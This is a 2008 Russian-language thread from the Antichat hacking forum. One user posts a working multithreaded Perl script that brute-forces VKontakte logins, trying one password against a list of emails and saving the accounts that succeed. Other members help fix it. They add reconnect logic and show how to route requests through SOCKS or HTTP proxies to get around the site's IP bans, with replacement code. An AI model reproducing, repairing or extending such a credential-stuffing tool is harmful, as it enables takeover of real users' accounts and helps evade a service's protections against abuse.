Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Почему брутфорс на перле глохнет не пробрутив весь список мыл? (https://forum.antichat.xyz/showthread.php?t=85738)

MaTpOc 22.09.2008 18:56

Почему брутфорс на перле глохнет не пробрутив весь список мыл?
 
Када загружаю 25 000 мыл, то не проходит и 5 мин как скрипт закрывает и все!что это?как устранить?
ЗЫ: када гружу 5000-14000 вроде все норм...

Spyder 22.09.2008 19:13

мб оперативка засирается
сообщение об ошибке покажи

MaTpOc 22.09.2008 19:50

Цитата:

Сообщение от Spyder
мб оперативка засирается
сообщение об ошибке покажи

брутер много поточный, вроде 5 или 6 потоков и они по одному глохнут а када все заглохли скрипт закрывается, тока как сделать так чтоб они не глохли?

Spyder 22.09.2008 19:56

ты покажи или сообщение об ошибке или сурс скрипта
хз что там у тебя происходит

Digimortal 22.09.2008 20:04

Ога, тут на форуме телепатокодеры собираются - твой глючный код им на расстоянии должно быть видно. )

.nor 22.09.2008 20:14

Наверное речь идет о Dhomo. Такая же проблема тупо засирается оперативка кажись.хз что делать =(

Digimortal 22.09.2008 20:18

>> хз что делать =(

Отправить это говно в треш. +)

MaTpOc 22.09.2008 20:30

вот:
http://s41.radikal.ru/i091/0809/b4/e35b1332d6fd.jpg
потом еще 2 и 3 и все скрипт закрывается =(
Вот сам скрипт:
Код:

#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;

$threads =  shift || 5                    ; #Кол-во потоков
$pass    =  shift || '123456'          ; #pwd
$fname  = 'good.txt'                  ; #Валидные
$ml      =  shift || 'emails.txt'    ; #Список мыл

my @acc : shared;
my $i : shared;
my $total : shared;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open mail list file!");
@acc = acc();

$size = scalar @acc;
$time      = time;
$start      = localtime;
print  "Loaded: ",$size," emails.\n";
printf "Started at $start\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
    while(@acc)
    {
          {lock(@acc);$acc = shift @acc;}
          my $sock = new IO::Socket::INET
          (
          PeerAddr => 'vkontakte.ru',
            PeerPort => 80,
            PeerProto => 'tcp',
            TimeOut => 20
          ) or die "Can't connect\n";

          my $data = "email=$acc&pass=$pass";
          my $len = length($data);
          my $re = "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n".
          "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".
          "Connection: keep-alive\nReferer: http://vkontakte.ru\n".
          "Content-Type: application/x-www-form-urlencoded\n".
          "Content-Length: $len\n\n$data";

          print $sock $re;
          sysread ($sock, my $answ, 800);

          if($answ =~ /\S{32}/)
              {
                    {lock($total); $total++;}
                    print "[+] $acc\n";
                    open(FILE, ">>$fname") || die("Could not open $fname\n");
                    print FILE "$acc:$pass\n";
                    close(FILE);
              }
          {lock($i);$i++;}
          $percent = ($i/$size)*100;
          progress();

    }


}


$time = time-$time;
$end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";
printf "Finded: $total \n";

sub progress{

print "|";
$percent = sprintf("%.2f", $percent);
print "< $percent% > complete";
print "\r";
    }

sub acc
{
    my (@mas);
    while (<ACS>){
    push @mas, $_;
    }
    chomp @mas;
    return @mas;
}


Spyder 22.09.2008 20:40

Код:

sub acc
{
    my (@mas);
    while (<ACS>){
    push @mas, $_;
    }
    chomp @mas;
    return @mas;
}

кошмар
скорее всего из-за этого засирается + ещё каждый поток нсколько я помню берёт около 1.5 мб озу
как вариант можно попробовать грузить не целый файл, а по частям

Код:

sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
last if (@mas > 300);
}
return @mas;
}

Вот как реализовано у меня
https://forum.antichat.ru/thread55661.html

PS а вообще помойму там тупо ошибка подключения
мб контакт начал банить по ипу?

MaTpOc 22.09.2008 20:50

Цитата:

Сообщение от Spyder
Код:

sub acc
{
    my (@mas);
    while (<ACS>){
    push @mas, $_;
    }
    chomp @mas;
    return @mas;
}

кошмар
скорее всего из-за этого засирается + ещё каждый поток нсколько я помню берёт около 1.5 мб озу
как вариант можно попробовать грузить не целый файл, а по частям

Код:

sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
last if (@mas > 300);
}
return @mas;
}

Вот как реализовано у меня
https://forum.antichat.ru/thread55661.html

PS а вообще помойму там тупо ошибка подключения
мб контакт начал банить по ипу?

угу, контакт уже давно банит по ипи, у меня статический ипи и када я перезашел то в контакт стало залазить а до этого не уя)

Spyder 22.09.2008 20:53

так тогда чё ж ты спрашиваешь если сам знаешь в чём дело? :d

Digimortal 22.09.2008 21:00

>> die "Can't connect\n";

Вообще, ошибка тут. )
Тут разумно sleep сделать ненадолго, а затем реконнектиться пробовать, но никак не убивать поток. Ну и прокси заюзать, наверно, стоит.
p.s. А локи тут нигде не нужны. )

MaTpOc 22.09.2008 21:01

Цитата:

Сообщение от Digimortal
>> die "Can't connect\n";

Вообще, ошибка тут. )
Тут разумно sleep сделать ненадолго, а затем реконнектиться пробовать, но никак не убивать поток. Ну и прокси заюзать, наверно, стоит.

как заюзать прокси, я ни када не юзал просто(

Digimortal 22.09.2008 21:14

Например, можно IO::Socket::Socks использовать.

MaTpOc 23.09.2008 15:15

Цитата:

Сообщение от Digimortal
Например, можно IO::Socket::Socks использовать.

а где это взять и как им пользоваться??? :confused:

Digimortal 23.09.2008 15:31

Это превад.
Но, так и быть, отдам тебе за 10wmz.

BlackDraG 23.09.2008 15:41

мдя : D

Spyder 23.09.2008 17:46

MaTpOc
Диджимортал кедала, пару дней назад всё слилось в паблик но доступно только для узкого круга
Вот тебе пожалуй покажу, только тссссс! Больше некмоу не говори
http://search.cpan.org/~reatmon/IO-Socket-Socks-0.1/lib/IO/Socket/Socks.pm

Kaimi 23.09.2008 17:57

Цитата:

кошмар
скорее всего из-за этого засирается + ещё каждый поток нсколько я помню берёт около 1.5 мб озу
как вариант можно попробовать грузить не целый файл, а по частям
Лол, эта функция вызывается один раз, до начала потоков ))

Цитата:

как заюзать прокси, я ни када не юзал просто(
Простые хттп прокси можешь указывать вместо
PeerAddr => 'vkontakte.ru',
PeerPort => 80,

Только в пост запросе полный путь пропиши.

Spyder 23.09.2008 18:05

Kaimi, я согласен с тем что ошибка не из-за этого, но ты всё таки загрузи файлик с мылами на 1 гб и посмтрим прав я или нет ))
И каждый поток берёт примерно 1,5 мб оперативы
С этим тоже будешь спорить?

Kaimi 23.09.2008 18:13

Цитата:

Kaimi, я согласен с тем что ошибка не из-за этого, но ты всё таки загрузи файлик с мылами на 1 гб и посмтрим прав я или нет ))
Файлик на 1 гб... большинство софта умрет от таких объемов, да пожалуй лучше было бы открывать хендл и читать построчно

MaTpOc 23.09.2008 19:04

Цитата:

Сообщение от Spyder
MaTpOc
Диджимортал кедала, пару дней назад всё слилось в паблик но доступно только для узкого круга
Вот тебе пожалуй покажу, только тссссс! Больше некмоу не говори
http://search.cpan.org/~reatmon/IO-Socket-Socks-0.1/lib/IO/Socket/Socks.pm

:confused: Как это включить или куда вставить???

Digimortal 23.09.2008 21:29

>> Как это включить или куда вставить???

Скачивешь модуль http://search.cpan.org/src/REATMON/IO-Socket-Socks-0.1/lib/IO/Socket/Socks.pm и помещаешь в ./lib/IO/Socket/ в дире, где установлен Perl. Затем переписываешь скрипт:
- добавляешь считывание соксов из файла в массив (этот модуль работает с socks5 только).
- заменяешь в скрипте "IO::Socket::INET" на "IO::Socket::Socks".
- там где создается объект сокета ("new IO::Socket::INET"), добавляешь еще параметры сокса - хост и порт:
Код:

Заместо:
          my $sock = new IO::Socket::INET
          (
          PeerAddr => 'vkontakte.ru',
            PeerPort => 80,
            PeerProto => 'tcp',
            TimeOut => 20
          ) or die "Can't connect\n";

делаем примерно так:

my $sock = new IO::Socket::Socks(ProxyAddr=>'proxy host',
                                  ProxyPort=>'proxy port',
                                  ConnectAddr=>'vkontakte.ru',
                                  ConnectPort=>80) or [тут_обработчик_отсутствия_коннекта];

http или https прокси реализовать можно легко и без дополнительных модулей - Kaimi написал уже...


Время: 08:38